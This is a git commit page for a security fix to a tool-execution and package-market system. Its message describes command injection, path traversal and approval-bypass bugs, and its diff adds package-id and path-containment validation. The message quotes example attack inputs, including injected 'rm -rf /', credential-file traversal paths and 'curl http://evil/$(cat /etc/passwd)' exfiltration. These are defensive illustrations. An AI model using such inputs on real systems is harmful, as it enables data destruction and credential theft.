Fix command injection, path traversal, and approval bypass in tool/market layer
A security and robustness audit of the tool-execution, market-package, and approval subsystems surfaced several high-impact issues. Each is fixed with a minimal, targeted change; regression tests are included. Command injection (shell_exec runs `bash -lc "<cmd>"`, so interpolated args are shell-evaluated): - git_commit: the commit message was interpolated raw into the command string. A message like `foo" && rm -rf / #` injected arbitrary commands, and the approval layer never inspects `message`. Now shlex-quoted. - git_clone: the URL was interpolated raw. `https://x.git; rm -rf /` or `$(curl ...)` was executed. Now shlex-quoted. Path traversal: - package_loader._write_prompts / uninstall: `package_id` (from an untrusted manifest) was used directly as a directory name under prompts/market and passed to mkdir(parents=True) / shutil.rmtree. An id like `../../projects/<victim>` enabled arbitrary file write and arbitrary directory deletion. Added _market_prompts_dir() which validates the id (lowercase alphanumeric + -/_) and confirms the resolved path stays inside the market base; uninstall validates up front. Prompt-content filenames are also confined to the package dir. - sandbox_checker: a malformed package id was only a *warning*, so report.passed stayed True and callers proceeded. Promoted to a hard error. - package_exporter: prompt refs (bare strings from package definitions) were read with `opc_home / ref`, so `/etc/passwd` or `../../.aws/credentials` were bundled into exported packages. Now confined to opc_home. - ws_handler._write_custom_prompt: employee_id (derived from user-supplied role id/name) flowed unchecked into the path, enabling traversal writes. Now reduced to a safe path component with a containment check. Approval bypass: - approval: a command beginning with a safe prefix (curl/echo/find/...) was auto-approved as LOW risk even when it contained shell command substitution. `curl http://evil/$(cat /etc/passwd)` was classified safe and ran with no human/LLM review, letting bash exfil data. Added _command_has_shell_substitution() and gated safe-prefix matching on it. Correctness / robustness: - shell: when a shell_prefix was active, `[args[0], args[1], command]` dropped the `-Command` flag from PowerShell argv (4 elements), silently breaking every prefixed PowerShell tool call. Now replaces only the trailing arg. - runtime_v2: tool arguments that are valid JSON but not an object (e.g. a JSON array) were silently replaced with `{}` while arguments_parse_error stayed None, so the tool executed with empty args (todo_write could wipe the task ledger). Now flagged with a parse error. - store: _json_loads raised on corrupt JSON; it is called during store.initialize() (via _sweep_stale_claims), so a single corrupt row prevented the store from ever opening. Now falls back to the default. - engine: _parse_reorg_payload returned any JSON type; callers did `.get(...)` and crashed (AttributeError) on `reorg propose 42`. Now returns None for non-dict JSON. - channels.manager: a single failing channel.send propagated out of the only outbound dispatch loop and silently stopped all message delivery on every channel until restart. Now caught and logged. - ws_handler: a non-object JSON frame (null/number/array/string) made `data.get` raise AttributeError and drop the whole WS connection. Non-dict frames are now ignored. Co-Authored-By: Claude <noreply@anthropic.com>
This commit is contained in:
@@ -25,6 +25,9 @@ if TYPE_CHECKING:
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_FRONTMATTER_RE = re.compile(r"^---\s*\n.*?\n---\s*\n?", re.DOTALL)
|
||||
# A package id doubles as a directory name under prompts/market, so it must be a safe
|
||||
# path component (no separators, no "..", no traversal). Mirrors sandbox_checker.
|
||||
_PACKAGE_ID_RE = re.compile(r"^[a-z0-9][a-z0-9_-]*$")
|
||||
|
||||
|
||||
class PackageLoader:
|
||||
@@ -227,6 +230,10 @@ class PackageLoader:
|
||||
|
||||
Caller must call config.save() to persist.
|
||||
"""
|
||||
# Validate up front: package_id is used to locate a directory that is later
|
||||
# removed with shutil.rmtree, so a traversal value must be rejected before any
|
||||
# lookup — even for ids that are not currently installed.
|
||||
self._market_prompts_dir(package_id)
|
||||
# Find the installed package record
|
||||
installed = None
|
||||
for pkg in self.config.org.installed_packages:
|
||||
@@ -267,7 +274,7 @@ class PackageLoader:
|
||||
]
|
||||
|
||||
# Remove prompt files
|
||||
prompts_dir = self.opc_home / "prompts" / "market" / package_id
|
||||
prompts_dir = self._market_prompts_dir(package_id)
|
||||
if prompts_dir.exists():
|
||||
shutil.rmtree(prompts_dir, ignore_errors=True)
|
||||
|
||||
@@ -282,12 +289,38 @@ class PackageLoader:
|
||||
"""Write prompt files to {opc_home}/prompts/market/{package_id}/."""
|
||||
if not prompt_contents:
|
||||
return
|
||||
target_dir = self.opc_home / "prompts" / "market" / package_id
|
||||
target_dir = self._market_prompts_dir(package_id)
|
||||
target_dir.mkdir(parents=True, exist_ok=True)
|
||||
# ``prompt_contents`` keys are filenames supplied by the package; confine each
|
||||
# written file to target_dir so a crafted name (e.g. "../escape.md") cannot
|
||||
# escape via Path traversal.
|
||||
base = target_dir.resolve()
|
||||
for filename, content in prompt_contents.items():
|
||||
with open(target_dir / filename, "w", encoding="utf-8") as f:
|
||||
dest = (target_dir / filename)
|
||||
if base not in dest.resolve().parents and dest.resolve() != base:
|
||||
raise ValueError(f"Prompt filename escapes package directory: {filename!r}")
|
||||
with open(dest, "w", encoding="utf-8") as f:
|
||||
f.write(content)
|
||||
|
||||
def _market_prompts_dir(self, package_id: str) -> Path:
|
||||
"""Resolve ``{opc_home}/prompts/market/{package_id}`` with validation.
|
||||
|
||||
``package_id`` originates from an untrusted package manifest and is used both to
|
||||
write files (``_write_prompts``) and to recursively delete a directory
|
||||
(``uninstall``). Without validation a value such as ``../../projects/<victim>``
|
||||
traverses out of the market tree and yields arbitrary file write or arbitrary
|
||||
directory deletion. Reject ids that are not lowercase alphanumeric (hyphens/
|
||||
underscores allowed) and confirm the resolved path stays inside the market base.
|
||||
"""
|
||||
normalized = str(package_id or "").strip()
|
||||
if not _PACKAGE_ID_RE.match(normalized):
|
||||
raise ValueError(f"Invalid package id: {package_id!r}")
|
||||
market_base = (self.opc_home / "prompts" / "market").resolve()
|
||||
target = (market_base / normalized).resolve()
|
||||
if target != market_base and market_base not in target.parents:
|
||||
raise ValueError(f"Package id escapes market directory: {package_id!r}")
|
||||
return self.opc_home / "prompts" / "market" / normalized
|
||||
|
||||
def _current_talent_template_ids(self) -> set[str]:
|
||||
try:
|
||||
from opc.layer2_organization.talent_market import TalentMarket
|
||||
|
||||
Reference in New Issue
Block a user